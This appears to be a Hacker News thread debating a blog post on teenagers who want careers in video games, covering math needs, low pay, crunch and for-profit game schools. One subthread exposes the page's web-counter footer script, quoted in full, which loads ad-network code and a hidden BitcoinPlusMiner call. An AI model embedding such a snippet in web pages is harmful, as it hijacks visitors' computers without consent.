
So your teenager tells you they want to 'make video games' for a living - mindstab
http://codesuppository.blogspot.com/2013/04/so-your-teenager-tells-you-they-want-to.html
======
ChuckMcM
When your kid tells you this:

 _"Most of the time this young person thinks their qualifications come from
the fact that they really, really, like to play video games a lot; and I mean
like a LOT."_

It gives you an opportunity to help them discover things they may be
passionate about. Many times (not always of course) it isn't _any_ game they
like playing alot, it is a _particular_ game or genre they like. The goal of
exercise then is to think about what features or mechanics of that particular
game make it so fascinating, and then looking for that same feature/mechanic
in something that people pay for [1]. Is it the economy? Solving the
mysteries? Developing the story line? Role playing and acting? Devising
tactics? Optimizing dozens of variables? All these things are _mechanics_ in
computer games that can be found in non-game activities.

It may be that the kid likes all sorts of games, but help them to see the
thing they like over the delivery mechanism and they can make smarter choices
down the road.

[1] I did know a guy who liked playing WoW a _lot_ and supported himself by
selling gold and various and sundry rare and epic items. Again, more the
exception and not the rule.

~~~
Periodic
I think this is a great point about the usefulness of video games. A lot of
school work is boring and presented poorly: memorize your history dates, solve
these equations, write an essay critiquing an essay about something you don't
care about. Think about what is testable in education and you'll find that is
a lot of what gets taught.

Do you find the economy of games fascinating? You might get one class on
economics at the end of high school. Do you love building things in Minecraft
and animating them with crazy redstone circuits? You'll be lucky if your high
school has woodworking, metalworking or even art classes. Do you love
exploring a game world? Your classes don't really have time to let you
explore, please read the assigned materials.

I was lucky enough to have a computer a home where I could write (terrible)
console-based games and later build web sites. Originally I wanted to make
games, but then I found that I actually loved servers and the ability to reach
across the internet to get data from a computer thousands of miles away was
even more fascinating.

------
kybernetyk
I wanted to make games and that's how I got into programming. I dropped the
game part a few years after that but I kept programming.

If a grey haired computer programmer would have told my 12 year old self "just
give up because you're not a math genius" I probably wouldn't be a programmer
today.

So no, don't tell kids they shouldn't want to make games. Because making games
is a gateway drug for programmers.

~~~
outworlder
This is not what the author said. He said that you should give up on 'the
industry', and you'd have a better chance of creating a best-seller on iOS
than landing a job in a studio.

The math requirements are very different if we are talking about triple-A
games vs an iOS tower defense.

------
duskwuff
Web counter script on this page tries to load a Java BitCoin miner. Classy.
(Not.)

(Isn't CPU-based mining basically pointless nowadays?)

~~~
unimpressive
Not if it's somebody elses CPU your using.

------
jamesaguilar
> You do not go to college to 'learn' talent. You are either born with it or
> not.

Can't say I agree with this entirely. I absolutely agree that going to college
for four years will not make you into a good artist. But "being born with it"
will not make you a good artist either.

Hammering away at it two hours a day from age 12 to 22 will make you a good
artist. You may never be a great one (that is where being born with it comes
in). But you will be a good one. And the same is true for most pursuits.

There was a great forum post a while ago where some guy could barely put
together a stick figure and three years later (after an hour a day, every day)
he was making oil paintings that people would actually pay for. I can't
remember where though. Anyway, that sort of thing has nothing to do with
talent. It's hard work and sticking to it.

~~~
dsfasfasf
I was with him until he said that. Is an excuse to give up on anything. You
might as well believe in destiny and that your entire future has already been
written. Who believes something like that? Seriously. Does he believe that
that girl woke up one day and started drawing like that? He is wrong on this
count. What you need is perseverance.

~~~
mirkules
I always believed that perseverance is 90% of what is required to be a great
"anything". The other 10% is sheer talent. In every case I have seen so far,
that 90% will make you good enough so that the talent doesn't matter much.

------
jiggy2011
Do you really have to be a math genius to work as a game dev?

I can see you would need very solid math and physics to build the next gen 3d
graphics/physics engines although I remember an interview with John Carmack
where he said that even he wasn't as good a mathematician as people thought he
was.

Surely there's plenty of code that goes into games that isn't advanced linear
algebra? Like code for networking , game saving/loading , menu systems , IAP
payment systems etc. Stuff that probably has more in common with general web
programming. It's also possible to buy or get for free various engines to do a
lot of heavy lifting for you.

Also some of the most popular games now are 2d or isometric, you could
probably write a 2d game from scratch without much more than basic
trigonometry , linear algebra and plenty of trial and error.

~~~
dyselon
Between gameplay programming and tools, a significant portion of the
programming staff of a AAA game will not be overwhelmingly mathematically
inclined. That's only one of many outright lies in this article.

~~~
AJ007
Not a reddit reader, but I do follow Tarn Adams & Dwarf Fortress pretty
closely (serious amount of respect for someone who can build a single game
over a really really long time and call it his life's work, and live only on
donations.)

This quote from his recent AMA really stood out to me -- "I'm sure my code is
considered garbage by people that know what they are doing." And he has a very
strong math background.

------
speeder
Hello!

I own a game company (www.kidoteca.com) and I still own legally a sorta
bankrupt game company (www.agfgames.com don't expect much on that site, it is
sorta bankrupt for a good reason).

Also I worked with mobile games, and mobile apps that are not games at all.

And I went to a game school (I have a bachelor degree in Game Design and
Planning).

First, the game industry as a whole, suck, the pay is HORRIBLE, HORRIBLE,
HORRIBLE, HORRIBLE.

One year when I was particularly cash strapped, I dumped the game industry and
went to a normal mobile dev job. My wage jumped BLOODY FIVE FOLD (I am not
kidding).

Now that I am back working with games, I am earning half the money I was (some
people might ask: why you are doing it? it is because I love doing what I
do... and I won't switch unless someone offer me like 6 figures USD).

Beside the huge pay gap, the game industry is also very toxic, full of crunch,
and full of jerks. Some people say it has rampant sexism. It is not sexism,
actually most guys are not sexist at all (actually it is easier to find white
knights than misoginists), but it is filled with jerks of all kind, noone is
safe, NO ONE. You will get bullied for being female, male, black, white,
asian, red hair, black hair, bad teeth, too good teeth, rich, poor, too good
Team Fortress 2 skills, too bad skills, not liking Minecraft, liking
Minecraft... People will just hate you, period. It would be like living and
working with 4chan 24/7 (or just look at the most popular game forum: NeoGAF)

And finally, making games is HARD, DON'T do it because you think you like
games you will like it, you will not, there are lots of boring tasks and crazy
tasks. Do it only if you like what you have to do (or if you are good and can
tolerate it).

Also, as consequence of making games being HARD, expect failed projects,
companies, jobs, even marriages, game industry has lots of those.

And remember, although making games pushes you hard and forces you to learn a
lot, you will find that your skills are quite unique and not much good for the
rest of the market (With few exceptions of some specialities, like backend
engineers or tool programmers), there are not much companies there wanting
someone that can script levels in awesome ways, or that want a module file
musician. And for coders, commonly in the game industry you might end learning
Lua... Then good luck finding a non-game job that use that.

All that said, I can say...

Hell, I still love my job!

------
ChrisNorstrom
I'm one the dumb kids that went to a game development school. That school was
Full Sail University. Do NOT Go There.

Full Sail has almost ALL the red flags that the article and video talk about.
Including rushed "accelerated" courses, pumping out students, trying to teach
us calculus in 1 month, trigonometry in 1 month, everything was so rushed.
Classes were $3,000/month. Lab techs (assistants) played world of warcraft
instead of helping us. I honestly have so many bad memories from Full Sail I
really don't want to talk about it. The money wasted, the stress it caused me.
I just feel overwhelmed with bad emotions.

Just stay away from Full Sail. I went back in 2006, I doubt they've changed.
Their marketing and advertising is amazing though...

"Full Sail is not recognized by a regional accreditor or by the National
Association of Schools of Art and Design. As a result, most traditional
colleges would not honor credits earned by transferring Full Sail students or
those who attempt to continue their studies after earning an associate degree
from the university

Read more: [http://www.insidehighered.com/news/2012/01/24/romney-
right-a...](http://www.insidehighered.com/news/2012/01/24/romney-right-about-
full-sail-university)

------
learc83
You don't need to be a math genius to program games. The vast majority of
programmers at game companies aren't working on graphics or physics.

The author makes it seem like you need to be a math genius to even get a CS
degree. You definitely need math, but you don't need to be a genius, just
willing to work hard.

------
jmomo
I worked in the video game industry for about six years. I worked for both
major publishers and some startup MMOs. Specifically, I was doing online
infrastructure kind of stuff.

The gaming industry wasn't something I was actively trying to get into, and I
had worked in telecommunications and manufacturing prior to this. When the big
telecom I was working on started losing customers back in 2001, I knew what
was about to happen and wisely jumped ship. I just happened to land with a
company in Denver Colorado who was producing an MMO game as a startup, and
they had no clue about how to actually get their product on the internet, or
where/how to buy or manage server infrastructure.

I worked for a major publisher who was booming at the time, making tons of
money. I also worked for a number of startups who went ended up going chapter
7, chapter 11, and one got sold out to an Asian firm who immediately told
everyone to move to South Korea or get laid off.

When I left the gaming industry, the following things immediately happened:

I made 20% more money, instantly. The gaming industry pays lower than average
wages in most cases, across the board. This is a supply and demand problem:
there is a huge supply of goobers who want to make video games for a living,
and a limited number of employers willing to pay them to do it.

I worked 20-40% less hours. Just about in every department in every company I
worked for, people kept sleeping bags under their desks, had no lives outside
of work, were present on weekends, and put in 50-80 hour work weeks. I once
literally lived and slept in my office for two weeks, except when I went home
to shower and check on things for an hour or two per week. That is what pushed
me over the edge and when I finally quit.

My psychological health improved. I was happier, less stressed out, and
stopped getting angry over little things. When I think back about it, the
gaming industry basically gave me PTSD.

My physical health improved. I started putting on muscle weight, I was less
tired, and a number of persistent physical issues went away. For example, I
had a bad habit of biting my tongue, possibly out of nervousness, which
magically went away immediately.

I started working with more talented, competent, people. I didn't realize just
how unprofessional and disorganized some of the people I was working with were
until I had another reference point again. As I shifted from being a server
monkey to programmer, I realized that most of the developer guys had never
worked in another industry before, were high-school and college drop-outs, and
most of their code was crap. I saw from the inside a huge multi-mullion dollar
Atari-funded game studio go down in flames because the developers didn't know
that you can't use disk drives as a CPU: they built almost all of their MMO
item inventory logic into SQL triggers and events. Let's not even talk about
sexism and anti-social behavior.

Employment stability went way up. The gaming industry is very unstable, and
companies crash and burn all the time. There is a constant flow of new
startups who fail every year without ever having shipped/published a product.

Unsurprisingly, most people don't want to hear this negativity about the
industry.

The people who I know still work in the industry don't argue that I'm wrong,
but instead argue that it's the price you pay for doing what you want (note:
most of these people seem pretty miserable to me). It's not a subject that I
will often bring up, less I get a hostile reaction. After all, most of these
people are emotionally bought in to the idea that they are the next John
Carmack.

The kids who want to get into the gaming industry just ignore me or discount
what I have to say. What else are they going to do? They can't even imagine
getting a job in some boring industry like finance, government, manufacturing,
health care, retail, or any of that nonsense.

And that brings us to the gaming schools. Like I said before, it's a supply
and demand thing. There is a huge supply of kids who want to make video games,
and not enough employers for them all. It's kind of like little boys who want
to grow up and be astronauts, and little girls who want to me marine
biologists. The numbers say it ain't gunna happen for most of them.

There is indeed money to be made in the gaming industry, but it's not in
working inside of it. It's in selling the dream that all these dumb kids have,
thinking they can grow up and make video games for a living.

I don't really have much good to say about working in the gaming industry. I
met some cool people there, but as a whole, it's just an immature bunch of
kids who have not grown up and gotten real jobs yet.

~~~
SoftwareMaven
This echoes my experiences in the game industry to a T.

And I am conflicted, because my son is one of these goobers who want to make
video games. :) But if I can use that desire to get him to focus on skills
that would enable him to succeed there (and, by association, anywhere), then
I'm OK with it.

~~~
spizzo
Maybe tell the kid that a lot of people say that the game industry will take a
heavy toll on a man's mind and body, so if he really wants to make games then
he should follow his heart and pursue that passion relentlessly and
shamelessly, but he keep an eye on how healthy his mind and body are.

I think I remember dave chappelle saying in an interview that his father told
him you need to name your price early. And when people demand more than that
from you, it's time to get out or get away from them. I feel like that's
relevant. I bailed on the video game industry recently because I was miserably
depressed, sickly and malnourished. But hardship builds character and there's
something to be said for a person who doesn't shy away from what they believe
they're really passionate about even if other people found it to be horrible.

------
runawaybottle
What about the good amount of kids that take part in the modding community? A
lot of them aren't super geniuses, but they are passionate and competent and
work on scripting existing engines, map-editors, and so forth. Is that not a
viable route for aspiring game developers? It feels a little unfortunate if
that's the case.

This will sound astoundingly naive, I'm sure, but I really feel like our
society is pretty cruel to young people between 18-25. If you fail in someway
during these years, whether that be not getting into the right college,
picking the right major, or picking the right career path, you do fall behind.
It's one of the reasons articles like this even have to be written, to make
sure young people don't waste time failing.

~~~
dyselon
Modding is a great way to get in the industry, especially into the design jobs
the OP claims don't exist.

------
auctiontheory
Unnecessarily negative. If your teenager has a dream, let him/her do the hard
work to achieve that dream. Along the way, life will happen, and that's fine.
Following one's own dream is a vastly better option than meandering through
life without any purpose, or in a parentally-decreed career.

On a factual level, I know employees at many of the firms name-dropped in this
article, and if they're super geniuses, they hide it well.

~~~
jmharvey
The main thing he's railing against are the "video game design"
degree/certificate programs that are constantly promoted on daytime TV. These
programs will load your teenager up with debt while promising a dream career,
but unless they're already extremely talented in art or math, they're probably
not going to come out of the program with the skills they need to have a
career in the video game industry. And if they do have the art or math talent,
they'll be better off getting an education that's not video-game specific.

------
SeoxyS
> There are lots of jobs in computer software where you do not, necessarily,
> have to be really, really, really, good at math. Computer games are not one
> of them.

The article does not seem entirely objective to me. It seems to equate the
entire game industry to the process and cycles big-budget triple-A titles go
through.

I ended up being a software architect in the game industry, doing pretty well,
and I did all of that after dropping out of studying graphic design at art
school. I've never been a math genius, or even a stellar student. I have a
fairly well balanced lifestyle and am paid very well.

I'm not saying this to brag. I just want to point out that a lot of the
assumptions stated in this article are bullshit. You don't need to be great at
math to be a game engineer. You don't need to finish a four-year degree at
Stanford. If you're smart and can hustle, you'll do fine in the game (or any
other) industry.

------
kosei
As a non-programmer, non-artist working in the games industry - the best
advice I can give is to become very good at a different craft, then move your
way into the industry with experience. That goes for marketers, writers,
analysts, etc. Transfer in with 5-10 years experience from somewhere else.
It's much easier than applying with a hundred other applicants saying "I have
no real world experience, but I really love playing video games".

The only other real option is starting in QA, but prepare yourself for a
$20-40K base salary with an incredibly limited career track unless you move
out of QA into becoming an AP.

------
engtech
Wow, this page tries to do a drive-by java install. Other comments say its to
load a bitcoin harvester.

~~~
blauwbilgorgel
In the footer:

    
    
      <script type="text/javascript" language="javascript" src=
      "http://www.ewebcounter.com/include/track.js"></script>
      <noscript><a href="http://www.ewebcounter.com/" target="_blank">
      <img src="http://www.ewebcounter.com/track.jsp?project_id=59017&java=0" alt=
      "Website Activity" border="0"></a>
      </noscript>
      <!-- End of eWebCounter Code -->
    
      
      www.ewebcounter.com/include/track.js:
      
      document.write('<scr'+'ipt type="text/javascript" src=
      "http://ads.cpxinteractive.com/ttj?id=1082054"></scr'+'ipt>');
      document.write('<scr'+'ipt type="text/javascript" src=
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      document.write('<scr'+'ipt type="text/javascript" src=
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      document.write('<scr'+'ipt type="text/javascript">BitcoinPlusMiner(22487784)
      </scr'+'ipt>');
    

So a bitcoin miner AND an ad platform associated with malware/malvertising.

------
jacques_chester
While I was still studying there, I volunteered for my alma mater's open day.

Pretty much every teenage boy told me his ambition was to make games. To them
I said "study as much maths as your school will teach", which led to
crestfallen faces.

To their parents I said "the games industry is terrible, but ours is a general
computer science degree. Your boy will be able to get an entry-level job at
any software firm".

The girls who came through seemed to be more interested in software as a
professional career. It was an interesting contrast.

------
BryantD
That's a great piece. Cranky but good.

I will offer one disagreement: he's thinking about single-player games.
There're also good jobs available on the server side for any online game
(which is almost all of them these days). Server engineers don't need as much
math as game programmers, and there are a lot of system and network
administrators working in the game industry. Making games? Not exactly, but
certainly working in gaming, with all the pros and cons that go with it.

~~~
SoftwareMaven
My work on League of Legends came as a direct result of a contract gig
building an extranet for a gas pipeline company: Java and Activescript is Java
and Activescript.

In fact, you could argue we were solving the much harder problems in that
game, since we had to deal with the massive scaling, while the game engine
only had to deal with 10 people at a time.

~~~
jacques_chester
Though the problem space is already partitioned for you, to some extent, on a
per-game basis.

Have you written anything on it?

~~~
SoftwareMaven
The game is partitioned, but the lobby is not. The lobby is where all the
concurrent players have to split into groups of roughly similar capabilities
while now allowing anybody to wait too long. Our team was responsible for
partitioning things for the game team.

I haven't written anything on it. I'm not convinced my piece of it was really
interesting enough to warrant it. :) There were a lot of far smarter people
than I on the team (it was one of the best software engineering teams I've
ever worked on).

~~~
jacques_chester
I know the guy who writes the GameRanger lobby service (it's literally a
single guy - Scott Kevill - for the whole thing).

He's got about 3 million users. Not sure how many concurrent users he gets --
probably an order of magnitude or two less than LoL does.

Nevertheless, it all runs on I think one or two beefy servers. There's a very
high fanout of game-available messages and they need to be addressed based on
user-registered preferences as to the games they want to play.

From what he tells me, most of his secret sauce is network hackery. Batching
up carefully-sized packets and so on. All that stuff I was basically awful at
in uni.

------
Jach
My two cents: if you or your kid has any doubts about going to college because
you're sick of the general school bullshit, and if you're wondering if things
will be different at a game school, then save your money and time and don't
go. Due to the nature of accreditation and schools wanting to make money thus
letting/forcing students to use federal financial aid, they play by the same
rules other colleges play by, and students will get the same crap as any other
school. If you really want to be a game developer, now is the best time ever
to forge your own path going down the Indie road. With some diligent
networking you can even get picked up by the big boys--but by that time, you
might not want to get anywhere near them. If you don't know what to learn or
want more formally gained knowledge, go through the course catalog of one of
the schools and get the books on those subjects. (The course catalogs will
also convince you that you don't need to be that smart--to add to the video's
advice, along with asking about graduated students' job placement, ask about
current students' GPAs and what the most commonly failed classes are. I bet a
calculus and physics course are among them.)

------
Crake
I know a lot of people who have for profit degrees. I can't think of even one
that's not stuck in a dead end low paying job, constantly complaining on
social media about how they can't seem to find a job that will put their
"talent" to use.

It's like they have no idea that for profit degrees are a great way to get
your resume auto-chucked in the trash. (Good luck trying to talk to them about
it though. Oh boy...)

------
bane
When I finally decided to go to college, I really wanted to do it to make
games. I didn't learn much in college that would have translated directly into
game programming, but I _did_ learn a lot that translated directly into
getting a decent job. Along the way I learned how computers work inside and
out, from hardware to towers stacks of software abstraction, and found tons of
other things I like to make even more than games.

Now I play games for fun, which is better than the few of my friends who did
go into the industry.

------
anonymousab
You get them to figure out and write out the logic to pong. On paper.

Then graduate them to actual programming, and help them along a bit. Tell them
to experiment with pong when they get it going. Add more paddles. Add more
balls. Add obstacles.

Add whatever they think would be cool.

A Richard Garriott has talked about, good game design is a critically
difficult field. Get them experimenting with gameplay as related to the
underlying engine before you ever push them to a game design school.

------
unimpressive
Funny story. I wanted to make video games, until I learned all about the
prerequisites to do it.

You might think I balked and bailed. But the reality is I found out that the
stuff that goes into making a modern AAA video game is way more interesting
than the resulting product.

I now consider wanting to make video games a negative indicator of ever
actually doing so professionally, even if the person understands the
requirements to do so.

 _Especially_ if they understand them in fact.

~~~
dkersten
Not too different to what happened to me. I'm now technical cofounder of a
machine learning heavy analytics startup. I still think about making games
sometimes, but then I go back to thinking about and working on data mining and
machine learning and I don't regret a thing :)

------
pnathan
I wanted to make video games until I realized the really interesting
innovations were done decades prior to seeing them in video games. The games I
wanted to make were (and are) incredibly far beyond the capacity of desktops,
so it was sort of a moot point anyway. Teenage dreams.

But today I really enjoy the 'game' of understanding code and I like the fact
that my work contributes materially to better living around the planet.

------
teeja
If they really have the chops and motivation (wishing for it doesn't make it
so), it may be a valuable life experience for them to give it a try. If they
"succeed" they've saved years of expensive tuition. If they "fail", then
they'll have a lot better idea of what the real world's like ... always
valuable when choosing a college major, if they go that way.

------
mark-r
Be sure to read the follow-up:
[http://codesuppository.blogspot.com/2013/04/some-
clarificati...](http://codesuppository.blogspot.com/2013/04/some-
clarifications-on-my-previous-post.html)

My favorite part is at the end, where he gives news stories just from today
about 3 gaming companies laying off masses of people.

------
kosei
I think it's a realistic (if a little pessimistic) point of view. I personally
don't believe that talent is "born" and that it can't be taught, but it's
likely that if you get to college and weren't passionate enough to _become_
talented by then, the odds are likely stacked against you.

------
whiddershins
That guy needs to read the talent code:

[http://www.amazon.com/Talent-Code-Greatness-born-
ebook/dp/B0...](http://www.amazon.com/Talent-Code-Greatness-born-
ebook/dp/B0026OR1UK/ref=sr_1_1_bnp_1_kin?ie=UTF8&qid=1365033656&sr=8-1&keywords=the+talent+code)

------
gambiting
"If your kid is not an expert at math, don't even bother discussing the
subject of being a computer game programmer. It's a non-starter. "

This. I am doing Games Engineering right now and the amount of maths is larger
than I've ever done in my life.

~~~
zachlatta
From my experience in the industry you just need to know your linear algebra
and calculus. What does this exorbitant "amount of maths" constitute?

~~~
gambiting
We had to write our own physics engine. Like completely from scratch. It's not
extremely complicated maths, but there is lots of it and you need to
understand how to apply it.

------
rikacomet
I wanted to make video games in high school, I was not deterred by the pre-
requisites, but rather found more interesting things to do in life. Now it
seems that I want to be an Entrepreneur.

~~~
dlhavema
i want to be an Entrepreneur too, is anyone hiring?

------
klrr
Altough I agree with most stuff, I would rather form it so it encourage kids
to start early. Starting early is what "talent" really are, the ability to
learn.

------
hmsimha
obligatory cracked article on the _terrible_ quality of video game school
commercials: [http://www.cracked.com/blog/the-6-stupidest-video-game-
schoo...](http://www.cracked.com/blog/the-6-stupidest-video-game-school-
commercials/)

------
michaelochurch
I think that's more good than bad, as long as they intend to _make video
games_. Start to finish, do something. 2d RPG on iOS? Go at it. That's a great
motivation for getting into CS: wanting to _make things_.

If they want to be "idea guys" who just go around saying, "dragons should be
blue", then they need to be told that the world doesn't really work that way,
and that "idea guys" who refuse to do real work are not seen as adults and
generally loathed and pitied, not taken seriously. Real designers work, and
hard, and most of the great designers are programmers or artists in addition.

It's after college that they will realize that there are plenty of things more
interesting than most video games: machine learning, scientific computing,
compilers. But if video game design is the gateway drug, then that works.

What a lot of young people need to consider is that "follow your passion" is
the worst advice in the world. You shouldn't do something you hate, but if
your work is what you've wanted to do since you were 5, you'll _hate_ being a
subordinate. Absolutely no one says, "a subordinate" when asked (at 5) what he
wants to be when he grows up. If your passion causes you get into conflict
with bikeshedding executives who have terrible ideas but can fire you, then
avoid. That advice should be, "find work you enjoy, and transition to your
passion when you're no longer a subordinate".

